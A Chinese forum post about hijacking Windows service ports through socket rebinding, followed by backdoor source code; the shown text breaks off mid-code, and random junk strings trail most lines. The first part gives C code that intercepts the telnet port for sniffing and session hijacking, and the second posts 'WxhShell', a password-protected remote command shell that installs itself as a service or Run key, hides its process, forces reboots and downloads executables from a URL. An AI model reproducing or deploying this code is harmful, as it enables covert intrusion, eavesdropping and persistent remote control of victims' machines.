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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Y/ot3[  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); F^$led1/F  
I751 t  
  saddr.sin_family = AF_INET; 9Z"+?bv/  
"6ECgyD+E!  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); `Mj}md;O"  
-f1k0QwL  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ![6EUMx  
q=Zr>I;(Ks  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 mog[pu:!,  
x`RTp:#  
  这意味着什么?意味着可以进行如下的攻击: >O9o,o/6R  
d5 Edu44  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 lK'Rn~  
q"qo.TPh|$  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 3-n1 9[zk  
NSA F4e  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #:x4DvDkR  
2aA`f7  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Uggw-sRU  
~tFqb<n  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 <|Yj%f  
qZEoiNH(Tj  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 N/QiI.V6  
LK9g0_  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 $4FX(O0Q@  
8e~|.wOL  
  #include s MN*RKer  
  #include Lw7=+h)  
  #include &ZHC-qMRK  
  #include    )}%O>%  
  DWORD WINAPI ClientThread(LPVOID lpParam);   wXjFLg!g?  
  int main() s pLZ2]A  
  { |WryBzZ>on  
  WORD wVersionRequested; -~" :f8  
  DWORD ret; 1_'? JfY-  
  WSADATA wsaData; jVgFZ,  
  BOOL val; IxR?'  
  SOCKADDR_IN saddr; 1'v5/   
  SOCKADDR_IN scaddr; !}+tdT(y  
  int err; ^vs=f 95  
  SOCKET s; ^-CINt{O  
  SOCKET sc; ixm&aW6<  
  int caddsize; iTh:N2/-vc  
  HANDLE mt; [L $9p@I  
  DWORD tid;   ^I6^g  
  wVersionRequested = MAKEWORD( 2, 2 ); zjL.Bhiud  
  err = WSAStartup( wVersionRequested, &wsaData ); V==z"  
  if ( err != 0 ) { sAJ7R(p  
  printf("error!WSAStartup failed!\n"); U_l'3oPJw  
  return -1; ;{[>&4  
  } ~9\WFF/  
  saddr.sin_family = AF_INET;  }}<Z,/O  
   BElJB&I  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 DD9?V}Yx  
nfW&1a  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @XD+'{]  
  saddr.sin_port = htons(23); gnp~OVDqfL  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^[-el=oKn0  
  { tc r//  
  printf("error!socket failed!\n"); NCqo@vE  
  return -1; t2" (2  
  } l%z<(L5  
  val = TRUE; *Oc.9 F88"  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Awv`)"RAR  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %ows BO+  
  { 9~rUkHD  
  printf("error!setsockopt failed!\n"); ZD#9&q'4<  
  return -1; \AUI|M;'  
  }  =$8nUX`  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0Z<I%<8bK  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 CBQhIvq.d  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ;Yfv!\^|  
[OTJVpC  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) b*fgv9Kh'  
  { lDC$F N  
  ret=GetLastError(); R`";Z$~{  
  printf("error!bind failed!\n"); )Dp/('Z2  
  return -1; BG^C9*ZuP  
  } R .[Z]-X  
  listen(s,2); $P7iRM]  
  while(1) j6~nE'sQ  
  { X7UuwIIP  
  caddsize = sizeof(scaddr); qzw'zV  
  //接受连接请求 iGDLZE+?  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); {HC@u{K -  
  if(sc!=INVALID_SOCKET) E Uar/  
  { 0qjXQs}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); G'zF)0oD  
  if(mt==NULL) ;VO.!5W@eg  
  {  rdnno  
  printf("Thread Creat Failed!\n"); ;?}l  
  break; XS0xLt=  
  } )4?x5#  
  } Ed0IWPx  
  CloseHandle(mt); /<CSVJ_r  
  } @\oz4^  
  closesocket(s); v]% WH~>  
  WSACleanup(); dLsn\m>  
  return 0; xCzebG["  
  }   b96%")  
  DWORD WINAPI ClientThread(LPVOID lpParam) B()/.w?A  
  { "xMD,}+5$$  
  SOCKET ss = (SOCKET)lpParam; 1Kvx1p   
  SOCKET sc; i`/+,<  
  unsigned char buf[4096]; xt'tL:d  
  SOCKADDR_IN saddr; .,~(%#Wl$  
  long num; RO0>I8c1c  
  DWORD val; 3Y)PU=  
  DWORD ret; {Y}dv`G#Iu  
  //如果是隐藏端口应用的话,可以在此处加一些判断 aw ?=hXR!  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   =z{JgD/  
  saddr.sin_family = AF_INET; ]%uZ\Q;9p  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :0K8h  
  saddr.sin_port = htons(23); E| YdcS  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) bsxTqJ  
  { #>Y'sd5'A  
  printf("error!socket failed!\n"); vhvdKD  
  return -1; 6*l^1;U  
  } cH<q:OYi  
  val = 100; vvB(r!  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -16K7yk  
  { /sR%]q |L  
  ret = GetLastError(); j` E +qk  
  return -1; =.|J!x  
  } OI} &m^IOo  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) r[.>P$U  
  { obK*rdg ,  
  ret = GetLastError(); *'"T$ib  
  return -1; H4OhIxK  
  } ky>wOaTmN6  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #QvMVy  
  { ,U*)2`[  
  printf("error!socket connect failed!\n"); 4> ^K:/y  
  closesocket(sc); ?Y:x[pOe  
  closesocket(ss); ; )Kh;;e  
  return -1; &`Y!;@K9W#  
  } =5D nR  
  while(1) PqNFyQkl  
  { H7+X&#s%  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 E^_w I>  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 {Z;jhR,  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 x# ~ x;)  
  num = recv(ss,buf,4096,0); Sz{O2 l Y  
  if(num>0) c[}(O H  
  send(sc,buf,num,0); C ]Si|D  
  else if(num==0) 6m.k;'  
  break; ES<1tG  
  num = recv(sc,buf,4096,0); GN#<yv$av  
  if(num>0) "I;C;}!  
  send(ss,buf,num,0); " +KJop  
  else if(num==0) 9/SXs0  
  break; ej&<GM|  
  } }],Z;:  
  closesocket(ss); WqxUXH  
  closesocket(sc); *BD=O@  
  return 0 ; lcON+j  
  } *5sBhx  
JO&JP3N1  
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========================================================== _u"nvgVz9  
2LCB])X  
下边附上一个代码,,WXhSHELL }}QTHR  
s#h8%['  
========================================================== Q|}a R:4  
|CgnCUv+  
#include "stdafx.h" {^{p,9  
T0Yiayt  
#include <stdio.h> jk\ dG16  
#include <string.h> :H.   
#include <windows.h> \&V0vN1  
#include <winsock2.h> c~A4gtB=  
#include <winsvc.h> "HD+rmUEH  
#include <urlmon.h> zJa)*N  
"Th$#3  
#pragma comment (lib, "Ws2_32.lib") _FbC{yI8;  
#pragma comment (lib, "urlmon.lib") d-bqL:/  
oq-<ob  
#define MAX_USER   100 // 最大客户端连接数 d;tkJ2@NO  
#define BUF_SOCK   200 // sock buffer 2y0J`!/)  
#define KEY_BUFF   255 // 输入 buffer E< 4l#Z<  
;;5Uwd'-  
#define REBOOT     0   // 重启 1ju#9i`.Wg  
#define SHUTDOWN   1   // 关机 Kzy/9  
;vhyhP.oM  
#define DEF_PORT   5000 // 监听端口 A6<C-1 N}j  
5q{h 2).)  
#define REG_LEN     16   // 注册表键长度 8pM>Co!  
#define SVC_LEN     80   // NT服务名长度 O^LTD#}$a)  
u{&B^s)k.  
// 从dll定义API =9L$L|W  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6 y"-I !&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); LL!.c  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); B bhfG64  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); f#%JSV"7  
W-RqN!snJ8  
// wxhshell配置信息 8pLBt:  
struct WSCFG { IWVlrGyM  
  int ws_port;         // 监听端口 Ot&:mT!2  
  char ws_passstr[REG_LEN]; // 口令 YF#H Sf7  
  int ws_autoins;       // 安装标记, 1=yes 0=no F0~k1TDw  
  char ws_regname[REG_LEN]; // 注册表键名 g1(Xg.  
  char ws_svcname[REG_LEN]; // 服务名 ]!1OH |Ad  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +ww^ev%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ||2Q~*:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5_K5?N  
int ws_downexe;       // 下载执行标记, 1=yes 0=no F}Mhs17!|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" G DSfT{kK\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;S$Ll*f>D  
5yh/0i5|  
}; \^+ILYO:$  
&a> lWE  
// default Wxhshell configuration Y izE5[*  
struct WSCFG wscfg={DEF_PORT, >Sk[vI0Y  
    "xuhuanlingzhe", PZ:u_*Vu`  
    1, I^*'.z!4Q  
    "Wxhshell", P`$12<\O1  
    "Wxhshell", Ocg"M Gb  
            "WxhShell Service", ^s7,_!.Pq  
    "Wrsky Windows CmdShell Service", !2Dy_U=  
    "Please Input Your Password: ", |ifHSc.j<  
  1, >: 0tA{bV  
  "http://www.wrsky.com/wxhshell.exe", { PlK@#UN  
  "Wxhshell.exe" (%ew604X  
    }; TGT$ >/w >  
@mw "W{  
// 消息定义模块 KYJ1}5n  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (lA.3 4.p  
char *msg_ws_prompt="\n\r? for help\n\r#>"; VCNT4m  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; qg z*'_S  
char *msg_ws_ext="\n\rExit."; Q>}2cDl  
char *msg_ws_end="\n\rQuit."; v=Y K8fNi  
char *msg_ws_boot="\n\rReboot..."; Pvo#pY^dXX  
char *msg_ws_poff="\n\rShutdown..."; bTmL5}n  
char *msg_ws_down="\n\rSave to "; #$S}3 o  
@z6!a  
char *msg_ws_err="\n\rErr!"; V BoMT:#  
char *msg_ws_ok="\n\rOK!"; HCA{pR`  
-ML6d&cm  
char ExeFile[MAX_PATH]; FD7H@L5  
int nUser = 0; }pNX@C#De  
HANDLE handles[MAX_USER];  R)Q 4  
int OsIsNt; 9V1cdb~?"T  
P=AS>N^yaL  
SERVICE_STATUS       serviceStatus; O[~x_xeW  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S{F-ttS"  
2)iD4G`  
// 函数声明 uE_c4Hp  
int Install(void); 1ZJ4*bn  
int Uninstall(void); ]rd/;kg.S  
int DownloadFile(char *sURL, SOCKET wsh); 4C_c\;d  
int Boot(int flag); _cJ[ FP1  
void HideProc(void); 9~AWng  
int GetOsVer(void); &!.HuRiuC  
int Wxhshell(SOCKET wsl); n/e BE q  
void TalkWithClient(void *cs); ?4t-caK^u  
int CmdShell(SOCKET sock); U0B2WmT~Q  
int StartFromService(void); wjU.W5IR  
int StartWxhshell(LPSTR lpCmdLine); UP1?5Q=H]Q  
cleOsj;S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2F_ R/{D  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?v]-^X=&  
'E;W  
// 数据结构和表定义 j28_Hh T  
SERVICE_TABLE_ENTRY DispatchTable[] = N?r>%4  
{ q?{}3 dPC  
{wscfg.ws_svcname, NTServiceMain}, a^nAZ  
{NULL, NULL} Id8wS!W`7  
}; Os),;W0w4  
V}8$p8#<@  
// 自我安装 #m. AN  
int Install(void) eBB:~,C^q.  
{ :1fagaPg  
  char svExeFile[MAX_PATH]; Eyh|a. )-  
  HKEY key; 8m=Z|"H@  
  strcpy(svExeFile,ExeFile); u4'z$>B  
*DeTqO65  
// 如果是win9x系统,修改注册表设为自启动 HB& &  
if(!OsIsNt) { <)m%*9{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :{g7lTM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,4F,:w  
  RegCloseKey(key); 9V!-ZG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N{a kg90  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HQVh+(  
  RegCloseKey(key); 0A$SYF$O+[  
  return 0; iv%w!3#  
    } ,\ldz(D?+  
  } CDg AGy  
} SBKeb|H8  
else { rnhFqNT:  
Bt~s*{3$8  
// 如果是NT以上系统,安装为系统服务 E{^^^"z P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :xeLt;  
if (schSCManager!=0) *_hLD5K!  
{ L ^Y3=1#"g  
  SC_HANDLE schService = CreateService GG-[`!>.pw  
  ( O&?.&h  
  schSCManager, =V$j6  
  wscfg.ws_svcname, gp  
  wscfg.ws_svcdisp, >Wi s.e%b  
  SERVICE_ALL_ACCESS, /0==pLa4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1$LIpx  
  SERVICE_AUTO_START, @ RR\lZ  
  SERVICE_ERROR_NORMAL, R9dP,<2  
  svExeFile, BA+_C]%ZJ  
  NULL, U{1z;lJ  
  NULL, us{nyil1  
  NULL, hY8#b)l~lu  
  NULL, ?C;JJ#Ho  
  NULL D[Iq n  
  ); u}jrfKd E  
  if (schService!=0) n.$(}A  
  { g'lT  
  CloseServiceHandle(schService); 8OAg~mQ15(  
  CloseServiceHandle(schSCManager); 3 ]}'TA`v  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (aKZ5>>cN  
  strcat(svExeFile,wscfg.ws_svcname); `F1dyf!p<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { F>Jg~ FD*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); T%I&txl  
  RegCloseKey(key); RsSXhPk?  
  return 0; W"sr$K2m|  
    } I6dm@{/:>  
  } d79N-O-  
  CloseServiceHandle(schSCManager); vA?_-.J  
} n6f3H\/P&  
} #ooc)),  
k/`i6%F#m  
return 1; <MZi<Z`  
} (([I]q  
P^IY: -s  
// 自我卸载 %g^" ]  
int Uninstall(void) f!g<3X{=  
{ rihlae5Kz  
  HKEY key; {+=i?  
`SOhG?Zo  
if(!OsIsNt) { rz6jx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D Vw Cx^  
  RegDeleteValue(key,wscfg.ws_regname); DP>mNE  
  RegCloseKey(key); vjTwv+B"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FMS2.E  
  RegDeleteValue(key,wscfg.ws_regname); njMLyT($  
  RegCloseKey(key); 3%IWGmye4  
  return 0; z\}!RBOq  
  } { /<4'B  
} _T~H[&Hl  
} ;nk@XFJ  
else { |~NeB"l{  
X <xqT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (!n-Age  
if (schSCManager!=0) E~He~wHWe  
{ {wu!6\:<??  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); N(R,8GF5G  
  if (schService!=0) 3 jh|y,  
  { wo(j}O-  
  if(DeleteService(schService)!=0) { +89o`u_l%  
  CloseServiceHandle(schService); !#.vyBK#  
  CloseServiceHandle(schSCManager); D8/sz`N7Q  
  return 0; 4A~)b"j5  
  } bOXh|u_3i  
  CloseServiceHandle(schService); ZjD2u 8e  
  } @3 "DBJ  
  CloseServiceHandle(schSCManager); cEi<}9r  
} a;p6?kv  
} % +8  
LXxl?D  
return 1; lIl9ypikg  
} 7.|S>+Q  
`Kp}s<  
// 从指定url下载文件 s5.k|!K  
int DownloadFile(char *sURL, SOCKET wsh) Wf1-"Q  
{ -s~p}CQ.  
  HRESULT hr; <4NQL*|>  
char seps[]= "/"; R6Pz#`n  
char *token; bX{PSjD  
char *file; g =\13# F  
char myURL[MAX_PATH]; J~2 CD*v  
char myFILE[MAX_PATH]; m){&:Hs  
}rxFS <j  
strcpy(myURL,sURL); ^K>pT}u  
  token=strtok(myURL,seps); Na;t#,  
  while(token!=NULL) N[{]iQ  
  { D[W}[r  
    file=token; 2$Y3[$  
  token=strtok(NULL,seps); %0(>!SY  
  } 6cZ  C  
UJs?9]x>  
GetCurrentDirectory(MAX_PATH,myFILE); j)@oRWL<  
strcat(myFILE, "\\"); 0C7"3l  
strcat(myFILE, file); +}]wLM}\UF  
  send(wsh,myFILE,strlen(myFILE),0); @}{VM)Fc+  
send(wsh,"...",3,0); #ZwY?T x  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (QhAGk&lu  
  if(hr==S_OK) ]eL~L_[G\  
return 0; B)d@RAk  
else 9;:7e*x]lc  
return 1; A>y#}^l]  
Oi#k:vq4  
} sp,(&Y]US  
Q,TaJ]  
// 系统电源模块 {r X5  
int Boot(int flag) lMPbLF%_  
{ rN'k4V"K  
  HANDLE hToken; F13%)G(  
  TOKEN_PRIVILEGES tkp; U#l.E 1Z  
N>T=L0`  
  if(OsIsNt) { &:,fb]p  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); dW6Q)Rfi  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "p2u+ 8?  
    tkp.PrivilegeCount = 1; KK MWD\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9 &[\*{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ri;r7Y9V9`  
if(flag==REBOOT) { '4Y*-!9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) s-o~@(r6  
  return 0; 2f /bEpi  
} |O^V)bZmx  
else {  pe|\'<>i  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) akY6D]M  
  return 0; -hm 9sNox  
} 6q!7i%fK?  
  } ]n/jJ_[  
  else { ; vhnA$'a  
if(flag==REBOOT) { $M%}Oz3*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2}1!WIin  
  return 0; |oB]6VS`  
} [kQ"6wh8  
else { SwQOFE/Dv~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1W4H-/Re  
  return 0; $Jt8d|UP  
} (rMTW+,  
} J\9jsx!WQ  
zh?xIpY  
return 1; o<Ke3?J\  
} 8~rT  
.jy)>"h0  
// win9x进程隐藏模块 P/HHWiD`D  
void HideProc(void) ],WwqD=  
{ SlM>";C\  
:1%VZvWk*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); NF@i#:  
  if ( hKernel != NULL ) agGgJ@  
  { I-j(e)P(o_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6NP`P jR  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Gf!t< =T   
    FreeLibrary(hKernel); %Gnd"SGs  
  } nT(!HDH  
d;IJ0xB+by  
return; F12S(5Z0%  
} yRSy(/L^+  
oKZ[0(4<  
// 获取操作系统版本 WIhIEU7/  
int GetOsVer(void) _q2`m  
{ 3BuD/bs  
  OSVERSIONINFO winfo; =2Pz$q*ub  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &FT5w T  
  GetVersionEx(&winfo); *s 1D\/H  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,<I L*=a  
  return 1; pvK \fSr  
  else 1j_aH#Fz:  
  return 0; }C9VTJs|  
} F^J&g%ql  
@D( KuF  
// 客户端句柄模块 \r)_-  
int Wxhshell(SOCKET wsl) * <Nk%`  
{ ajg7xF{l)  
  SOCKET wsh; XL%vO#YT  
  struct sockaddr_in client; sf=%l10Fk#  
  DWORD myID; .oW~:mY  
f[w jur  
  while(nUser<MAX_USER) G=+!d&mbg  
{ R|d^M&K,  
  int nSize=sizeof(client); i|:: v l  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Vw6>:l<+<  
  if(wsh==INVALID_SOCKET) return 1; j=zU7wz)D  
/ i\uwa,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0$Qn#K  
if(handles[nUser]==0) xV }:M  
  closesocket(wsh); Wl@0TUK  
else S S7D1  
  nUser++; x|P<F2L  
  } |sDG>Zq?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `*.r'k2R  
w%!k?t,*]  
  return 0; .je~qo )  
} A@fshWrl%  
J?UZN^  
// 关闭 socket "1=.5:yG  
void CloseIt(SOCKET wsh) D~t"9Z\  
{ |>m# m*{S  
closesocket(wsh); !ds"88:5^  
nUser--; 1VPfa  
ExitThread(0); t/EMBfLc  
} Y:#kel<  
Hj-<{#,  
// 客户端请求句柄 #Q!c42}M  
void TalkWithClient(void *cs) s0`]!7D<  
{ `t/@ L:  
pEqr0Qwh  
  SOCKET wsh=(SOCKET)cs; PAO[Og,-  
  char pwd[SVC_LEN]; H@OrX  
  char cmd[KEY_BUFF]; 8=u+BDG  
char chr[1]; Oa3=+_C~$1  
int i,j; H_xQ>~b  
~ Iu21Q(*  
  while (nUser < MAX_USER) { /I`!i K  
-hJ>wGI  
if(wscfg.ws_passstr) { HquB*=^xh  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n8y,{|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R-0_226  
  //ZeroMemory(pwd,KEY_BUFF); 071E%u,  
      i=0; NC[GtAPD3  
  while(i<SVC_LEN) { SFXfo1dqH  
[f0oB$  
  // 设置超时 )e <! =S  
  fd_set FdRead; r5fz6"  
  struct timeval TimeOut; : p*ojl|  
  FD_ZERO(&FdRead); !D|pbzQc8  
  FD_SET(wsh,&FdRead); yScov)dp(  
  TimeOut.tv_sec=8; .,BD DPFB  
  TimeOut.tv_usec=0; $ M[}(m  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); A(!ZZ9 Wc  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); nP3;<*T P0  
Z1MJ!{@6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?AM 8*w  
  pwd=chr[0]; :w&)XI34  
  if(chr[0]==0xd || chr[0]==0xa) { ~*Sbn~U  
  pwd=0; aZ`_W|  
  break; olQ8s *  
  } AD4L`0D  
  i++;  6@Z'fT4  
    } s5Bmv\e.i5  
4jyr\=42F'  
  // 如果是非法用户,关闭 socket wshp{ y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z)?#UdBQv  
} %NAFU /&  
Qi'WV9ke  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6XxG1]84  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U!-+v:SF  
"3>*i!i  
while(1) { ?H86Wbz  
E[htB><  
  ZeroMemory(cmd,KEY_BUFF); %?9r(&  
O%q;,w{prW  
      // 自动支持客户端 telnet标准   J#OE}xASoA  
  j=0; "}~i7NBB  
  while(j<KEY_BUFF) { Hr8$1I$=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SpTORR8  
  cmd[j]=chr[0]; i2%m}S;D9  
  if(chr[0]==0xa || chr[0]==0xd) { ,B/p1^;.  
  cmd[j]=0; 4>wIF}\  
  break; lVp~oZC6[  
  } h9OL%n 7m'  
  j++; 0)]C&;}_M  
    } q9]^+8UP  
{ALBmSapK"  
  // 下载文件 A%czhF  
  if(strstr(cmd,"http://")) { yU8Y{o;:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +]~w ?^h  
  if(DownloadFile(cmd,wsh)) UC LjR<}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); BQJ`vIa  
  else D` `NQ`>A  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *e"GQd?  
  } X!A]V:8dk  
  else { sz2SWk^&  
8iH;GFNJ7'  
    switch(cmd[0]) { L) nVpqm   
  BnnUUaE  
  // 帮助 q?]@' ^:;  
  case '?': { vaCdfO&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x_iy;\s1  
    break; 5\kZgXWIh  
  } Y" +1,?yH  
  // 安装 AqKx3p6  
  case 'i': { @7Rt[2"e  
    if(Install()) kpreTeA]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eYSGxcx  
    else JW.&uV1Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6UAxl3-\  
    break; zam0(^=  
    } gl\$jDC9  
  // 卸载 E `j5y(44  
  case 'r': { /$.vHt 5nt  
    if(Uninstall()) @ un  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;gu>;_  
    else _x|8U'|Ce  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WQmiG=Dw^  
    break; <GmrKdM  
    } hz|z&vyP  
  // 显示 wxhshell 所在路径 {Ljl4Sp&  
  case 'p': { ^?.:}  
    char svExeFile[MAX_PATH]; ]\mb6Hc  
    strcpy(svExeFile,"\n\r"); Fh4w0u*Q  
      strcat(svExeFile,ExeFile); ].T;x|  
        send(wsh,svExeFile,strlen(svExeFile),0); 5!Mp#lO  
    break; C`T5d  
    } h/bYtE  
  // 重启 ?UhAjtYIS  
  case 'b': { 2yO)}g FJ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); HNUR6H&Fta  
    if(Boot(REBOOT)) w7?9e#> Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]4Yb$e`  
    else { ?$&rC0 t  
    closesocket(wsh); <l s/3!  
    ExitThread(0); vKOn7  
    } /ZN5WK  
    break; `xAJy5  
    } xr3PO?:  
  // 关机 1Y"qQp  
  case 'd': { Ri6 br  
